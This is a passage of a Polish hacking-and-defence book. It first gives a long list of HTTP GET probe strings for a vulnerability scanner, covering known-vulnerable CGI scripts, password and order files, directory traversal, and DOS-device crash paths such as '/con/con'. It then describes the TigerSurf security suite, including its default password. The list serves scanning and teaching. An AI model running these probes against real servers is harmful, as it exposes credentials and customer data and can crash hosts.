GET /IISADMPWD/aexp.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp2b.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp3.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp4.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp4b.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/anot.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/anot3.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/registrations.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/registrations.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/orders.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/orders.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/perl? HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/passwd HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/passwd.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/password HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/password.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ax.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ax-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf
GET /session/admnlogin HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cachemgr.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rpm_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dbmlparser.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/flexform.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/responder.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/imagemap.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /search HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/ HTTP/1.0 & vbCrLf & vbCrLf
GET http://www.sux.com/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexist.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfappman/index.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cpshost.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/search/queryhit.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /msadc/msadcs.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/proxy/w3proxy.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/lwgate HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/lwgate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/LWGate HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/LWGate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nlog-smb.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/icat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/axs.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /publisher/ HTTP/1.0 & vbCrLf & vbCrLf

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

219

219

GET /cgi-bin/mlog.phtml HTTP/1.0 & vbCrLf & vbCrLf
GET /ssi/envout.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/archie HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-error.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/post_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ppdscgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webmap.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/getdrvs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/upload.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/pu3.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/logs/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/templates/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /quikstore.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/shopper.conf HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/order.log HTTP/1.0 & vbCrLf & vbCrLf
GET /pw/storemgr.pw HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/iissamples/query.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/exair/search/advsearch.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iisadmpwd/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /doc HTTP/1.0 & vbCrLf & vbCrLf
GET /.html/............../config.sys HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/add_ftp.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/architext_query.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3-msql/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bigconf.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/get.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/alibaba.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tst.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /status HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /aux HTTP/1.0 & vbCrLf & vbCrLf
GET /com1 HTTP/1.0 & vbCrLf & vbCrLf
GET /com2 HTTP/1.0 & vbCrLf & vbCrLf
GET /com3 HTTP/1.0 & vbCrLf & vbCrLf
GET /lpt HTTP/1.0 & vbCrLf & vbCrLf
GET /con HTTP/1.0 & vbCrLf & vbCrLf
GET /ss.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /ncl_items.html HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /adminlogin?RCpage=/sysadmin/index.stm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/srchadm/admin.idq HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.htaccess HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.wwwacl HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /officescan/cgi/jdkRqNotify.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /ASPSamp/AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf &
vbCrLf
GET /AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/ism.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/uploadn.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/uploadx.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/upload.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/repost.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/postinfo.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/default.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf

background image


220

Hack Wars. Tom 2. Na tropie hakerów

220

GET /scripts/samples/ctguestb.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/Fpadmcgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/isapi/srch.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /index.asp::$DATA HTTP/1.0 & vbCrLf & vbCrLf
GET /main.asp% HTTP/1.0 & vbCrLf & vbCrLf
GET /domlog.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /log.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /catalog.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /names.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /domcfg.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /today.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/pfdispaly.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/input.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /CFIDE/Administrator/startstop.html HTTP/1.0 & vbCrLf & vbCrLf
GET /GetFile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /../../config.sys HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/import.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /config/import.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/checks.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /config/check.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /webcart/ HTTP/1.0 & vbCrLf & vbCrLf
GET /msadc/samples/adctest.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /admisapi/fpadmin.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /admcgi/contents.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AnForm2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/calendar HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/redirect HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3tvars.pm HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w2-msql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wais.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-win/wwwuploader.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/snorkerz.cmd HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/snorkerz.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AT-generate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /con/con HTTP/1.0 & vbCrLf & vbCrLf
GET /......../ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-shl/win-c-sample.exe HTTP/1.0 & vbCrLf & vbCrLf
GET ../.. HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/classified.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/download.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET ../../boot.ini HTTP/1.0 & vbCrLf & vbCrLf
GET /default.asp. HTTP/1.0 HTTP/1.0 & vbCrLf & vbCrLf
GET /xxxxxxx.....xxxxxxxxx/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/testcgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/FormHandler.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgitest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/meta.pl HTTP/1.0 & vbCrLf & vbCrLf

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

221

221

GET /cgi-bin/test-cgi.tcl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/day5datacopier.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/test.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/hello.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webutils.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tigvote.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-dos/args.cmd HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/test/senvironment.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/tests/load_webenv.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/tests/mailtest.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /WebSTART%LOG HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webwho.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htsearch HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/plusmail HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rmp_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3-msql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tpgnrock HTTP/1.0 & vbCrLf & vbCrLf
GET /manage/cgi/cgiproc HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cart.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ultraboard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ultraboard.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cart.exe/cartclientlist HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cweb.exe/ChangeAdminPassword HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cweb.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/form.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/message.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0 & vbCrLf &
vbCrLf
GET /cgi-bin/.fhp HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/excite HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/getdoc.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webplus HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bizdb1-search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cart.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/maillist.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/fpexplore.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/whois.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/GW5/GWWEB.EXE HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search/tidfinder.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tablebuild.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/displayTC.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cvsweb/src/usr.bin/rdist/expand.c HTTP/1.0 & vbCrLf &
vbCrLf
GET /cgi-bin/c_download.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ntitar.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/enter.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/printenv HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dasp/fm_shell.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgiback.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/infosrch.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/webbbs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /config/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /admin.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /code.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /bb-dnbd/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /reviews/newpro.cgi HTTP/1.0 & vbCrLf & vbCrLf

background image


222

Hack Wars. Tom 2. Na tropie hakerów

222

GET /eatme.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.ida HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.idq HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.idw HTTP/1.0 & vbCrLf & vbCrLf
GET /status.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /PSUser/PSCOErrPage.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /log HTTP/1.0 & vbCrLf & vbCrLf
GET /stats HTTP/1.0 & vbCrLf & vbCrLf
GET /piranha/secure/passwd.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/sojourn.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ews HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dfire.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/spin_client.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/echo.bat HTTP/1.0 & vbCrLf & vbCrLf




background image

343

Dodatek A

Oprogramowanie
zabezpieczające

W tym załączniku przedstawiony jest TigerSurf, zestaw narzędzi zabezpieczających,
który zarówno użytkownicy domowi, jak i biznesowi mogą wykorzystać jako część
pełnego zbioru do zabezpieczenia połączeń internetowych.

Oprogramowanie zabezpieczające to dowolny program, który pomaga zabezpieczyć,
uchronić i monitorować komputery przed atakami hakerów. Takie oprogramowanie
obejmuje narzędzia, demony usług i moduły pracujące w tle, które mogą być zaimple-
mentowane jako część procedury zapewniania bezpieczeństwa.

TigerSurf

Coraz popularniejszy staje się destrukcyjny kod umieszczony na standardowych stronach
internetowych. Zwyczajne przeglądanie takiej strony może na przykład spowodować
załadowanie wirusa, a jeśli Twój system nie jest wystarczająco zabezpieczony przez
standardowe oprogramowanie antywirusowe, Twoje programy lub dane znajdą się
w niebezpieczeństwie. Innym przykładem są witryny internetowe, które „wymuszają”
strony, wyświetlając ogromną liczbę ekranów. Jest to w najlepszym razie denerwujące,
a w najgorszym szkodliwe.

W odpowiedzi na te i inne rodzaje ataków powstał TigerSurf, oparty o bezpieczny
moduł przeglądarki internetowej, zaprojektowany do ochrony systemu. Ten zestaw
narzędzi zapewnia ochronę przed destrukcyjnymi stronami internetowymi, przepeł-
nieniem przeglądarki (nigdy więcej wyskakujących ekranów!) oraz zdalnymi końmi
trojańskimi.

TigerSurf zawiera także bezpieczny, wielostrumieniowy mechanizm przeszukiwania
Internetu, który przy użyciu słów kluczowych „przepytuje” wiele najważniejszych
wyszukiwarek. Dzięki niemu wystarczy wybrać odpowiednią zakładkę, aby zobaczyć

background image


344

Hack Wars. Tom 2. Na tropie hakerów

344

otrzymane wyniki — nie ma potrzeby wielokrotnego przeszukiwania Sieci. TigerSurf
obsługuje wszystkie wtyczki Microsoft Internet Explorera oraz własne filtry użyt-
kownika, a także jest kompatybilny ze wszystkimi internetowymi językami progra-
mowania. Inne funkcje (opisane w kolejnych częściach) obejmują:









edytor HTML,









TigerWatch,









TigerBlock,









skanowanie zabezpieczeń,









TigerSearch,









TigerTrack,









FTP,









Telnet,









przechwytywanie ekranu,









przeglądarkę zdjęć.

Przed instalacją programu TigerSurf (dostępnego na CD-ROM-ie dołączonym do tej
książki) należy dokonać aktualizacji Internet Explorera do wersji 5x lub nowszej.

Ogólne działanie

Po uruchomieniu TigerSurf program poprosi o wprowadzenie hasła logowania do
bezpiecznej przeglądarki, które domyślnie ma wartość TIGER (pisane dużymi literami
w tej wersji), jak pokazano to na rysunku A.1. W tym momencie przeglądarka TigerSurf
uruchomi się jako nakładka Explorera i przejdzie na stronę www.TigerTools.net, gdzie
możesz uzyskać informacje o aktualizacji TigerSurf oraz o modyfikacji wersji (patrz
rysunek A.2).

background image


Dodatek A

Oprogramowanie zabezpieczające

345

345

Rysunek A.1.
Ekran logowania
do bezpiecznej
przegl
ądarki
TigerSurf

Rysunek A.2.
Główny moduł
TigerSurf

Menu File, umieszczone na górze przeglądarki, obsługuje poniższe opcje (patrz rysu-
nek A.3).

Rysunek A.3.
Opcje menu File
w TigerSurfie

background image


346

Hack Wars. Tom 2. Na tropie hakerów

346









New browser window — otwiera nowe okno Explorera do standardowego
przeglądania sieci.









Open — otwiera do przeglądania stronę internetową z dysku twardego,
dyskietki lub płyty CD.









Save As — zapisuje na dysku twardym lub dyskietce obecną stronę jako plik
strony internetowej.









Printer Setup — konfiguruje aktualne ustawienia drukarki.









Print current page — drukuje aktualną stronę przy użyciu obecnych ustawień
drukarki.









Exit and unload — zamyka TigerSurf.

Znajdujące się na górze przeglądarki menu Edit udostępnia poniższe opcje (patrz ry-
sunek A.4).

Rysunek A.4.
Opcje menu Edit
w TigerSurfie









Cut — wycina wybrany tekst do schowka Windows.









Copy — kopiuje wybrany tekst do schowka Windows.









Paste — wkleja (wycięty lub skopiowany) tekst ze schowka Windows.









HTML Editor — ładuje edytor HTML TigerSurf.

Ze znajdującego się na górze przeglądarki menu View można wybrać niżej wymie-
nione opcje (patrz rysunek A.5).

Rysunek A.5.
Opcje menu View
w TigerSurfie









Go to — przechodzi do poprzedniej strony, następnej strony, strony domowej
lub ładuje TigerSearch.









Stop — przerywa pobieranie aktualnej strony internetowej.









Refresh — przeładowuje aktualną stronę internetową.









Source — wyświetla kod źródłowy aktualnej strony internetowej.

W znajdującym się na górze przeglądarki Personal Links dostępne są poniższe opcje
(patrz rysunek A.6).

background image


Dodatek A

Oprogramowanie zabezpieczające

347

347

Rysunek A.6.
Opcje menu Personal
Links w TigerSurf









Add current page to personal links — dodaje aktualną stronę internetową
do Ulubione.









View personal links — wyświetla bazę danych ulubionych odnośników, w której
możesz kliknąć wybrany adres.

Ze znajdującego się na górze przeglądarki menu Options można wybrać niżej wymie-
nione opcje (patrz rysunek A.7).

Rysunek A.7.
Opcje menu Options
w TigerSurf









Change Homepage — zmienia obecną stronę domową TigerTools na inną.









Internet Properties — wyświetla zaawansowane opcje internetowe (patrz
rysunek A.8).

Rysunek A.8.
Moduł Advanced
Internet Options









Security Properties — wyświetla własne ustawienia TigerWatch, włącza
i wyłącza TigerBlock, a także uruchamia osobisty skaner zabezpieczeń.

Obok paska narzędzi TigerSurf znajduje się menu Secure E-mail (bezpieczna poczta
elektroniczna), ale ta opcja nie jest dostępna w tej wersji. Kolejne menu to menu Tools,
w którym znajdują się poniższe opcje (patrz rysunek A.9).

background image


348

Hack Wars. Tom 2. Na tropie hakerów

348

Rysunek A.9.
Opcje menu Tools
w TigerSurf









TigerSearch the Internet — ładuje TigerSearch jako osobny moduł.









TigerTrack the market — ładuje TigerTrack jako osobny moduł.









Secure FTP — ładuje program klienta FTP TigerSurf.









Secure telnet — ładuje program klienta Telnetu TigerSurf.









Screen Capture — ładuje narzędzie do robienia zrzutów ekranowych
TigerSurf.









Security Scan — wykonuje skanowanie zabezpieczeń systemu.









TigerHTML — ładuje edytor HTML TigerSurf.









TigerTalk — moduł pogawędki w czasie rzeczywistym nie jest dostępny
w tej wersji.

Za pomocą umieszczonego na górze przeglądarki menu Security możesz dopasować
ustawienia TigerWatcha, włączyć i wyłączyć TigerBlock, a także wykonać skanowa-
nie zabezpieczeń systemu. Umieszczone obok menu Help umożliwia wyszukanie ak-
tualizacji programu, nawigację do strony domowej TigerTools.net, a także przejrzenie
aktualnych list wirusów i koni trojańskich (patrz rysunek A.10).

Rysunek A.10.
Opcje menu Help
w TigerSurf

Pasek narzędzi TigerSurfa zawiera również przyciski szybkiego uruchamiania opisa-
nych elementów menu. Te przyciski są położone po prawej stronie paska narzędzi
(patrz rysunek A.11). Mają one następujące funkcje (od lewej do prawej):

Rysunek A.11.
Przyciski szybkiego
uruchamiania
w programie TigerSurf









włączanie i wyłączanie bezpiecznego surfowania z blokowaniem złośliwego
kodu; ta funkcja jest domyślnie nieaktywna, aby umożliwić wyświetlanie
okienek wyskakujących i reklam, ale zaleca się jej włączenie;









ładowanie TigerTrack;

background image


Dodatek A

Oprogramowanie zabezpieczające

349

349









ładowanie klienta FTP;









ładowanie klienta Telnetu;









tworzenie zrzutu ekranu;









ładowanie przeglądarki zdjęć;









ładowanie edytora TigerHTML;









uruchamianie TigerTalk (niedostępne w tej wersji);









uruchamianie bezpiecznej poczty elektronicznej (niedostępne w tej wersji).

Opis funkcji

Edytor HTML

Dzięki edytorowi HTML (patrz rysunek A.12) możesz szybko utworzyć stronę interneto-
wą przy użyciu prostego interfejsu. Program pozwala na dołączenie obrazków, utworzenie
akapitów, odnośników, formularzy oraz wykorzystanie następujących znaczników:

Rysunek A.12.
Edytor TigerHTML









Html

,









Body

,









Head

,









Align

,









Bullet

,









Table

,









Title

.

TigerWatch

TigerWatch (patrz rysunek A.13) to narzędzie do podglądania i blokowania portów do
własnego użytku. TigerWatch jest zaawansowaną wersją TigerGuard (opisanego w roz-

background image


350

Hack Wars. Tom 2. Na tropie hakerów

350

dziale 1.) i zapewnia ochronę przed większością znanych i nieznanych koni trojańskich.
Program pozwala na dodanie własnych portów do zasad zabezpieczania TigerSurf.
Możesz także tworzyć, ładować i zapisywać listy własnych zasad do późniejszego
wykorzystania. W obecnej wersji demon zapisuje, blokuje i alarmuje o zdalnych ata-
kach hakerów, odnoszących się do utworzonych zasad. Aby szybko rozpocząć zabez-
pieczanie, możesz wstępnie załadować standardową i domyślną listę zasad. TigerWa-
tch
akceptuje domyślnie do 500 własnych zasad zabezpieczeń.

Rysunek A.13.
Utwórz w TigerWatch
własne zasady
zabezpiecze
ń

TigerWatch nie został zaprojektowany do samodzielnej pracy bez osobistego systemu fi-
rewalla (przykłady takich firewalli zostały wcześniej przedstawione w tej książce). Ti-
gerWatch
ma być dodatkowym środkiem ochronnym, zabezpieczając przed lokalnymi
lub zdalnymi atakami hakerów.

TigerBlock

TigerBlock jest systemem kontroli przeglądanych stron internetowych, który może
być używany przez rodziców lub innych dorosłych opiekunów. Używając TigerBlock,
można zabronić przeglądarce wyświetlania niektórych stron, na przykład witryn tylko
dla dorosłych lub zawierających nielegalne materiały. Po aktywacji pojawi się nastę-
pujące ostrzeżenie w języku angielskim:

Warning: Site Forbidden, Access Denied

You were forwarded to this page because the company at which you are employed or the current le-
gal guardian expressly, and in most cases, legally forbids entry to the Web site you attempted to ac-
cess. Additionally, persons under 18 years of age and persons who may be offended by adult depic-
tions may not directly or indirectly download, acquire, view, read, listen to, or possess any photograph,
textual material, advertisement, or other communication, message, or other content at, in, or through the
forbidden Web Site.

If you are under the age of 18 years, are offended by such materials, or are acting on behalf of any
governmental agency, you are not authorized to download any materials from any such site, and all
such downloading shall constitute intentional infringement of rights in such materials.

Powyższy komunikat tłumaczymy niżej.

Ostrzeżenie: zabroniona witryna, dostęp zablokowany.

background image


Dodatek A

Oprogramowanie zabezpieczające

351

351

Zostałeś przekierowany na tę stronę, ponieważ firma, w której pracujesz, lub Twój
prawny opiekun jednoznacznie, w większości przypadków mając do tego prawo, za-
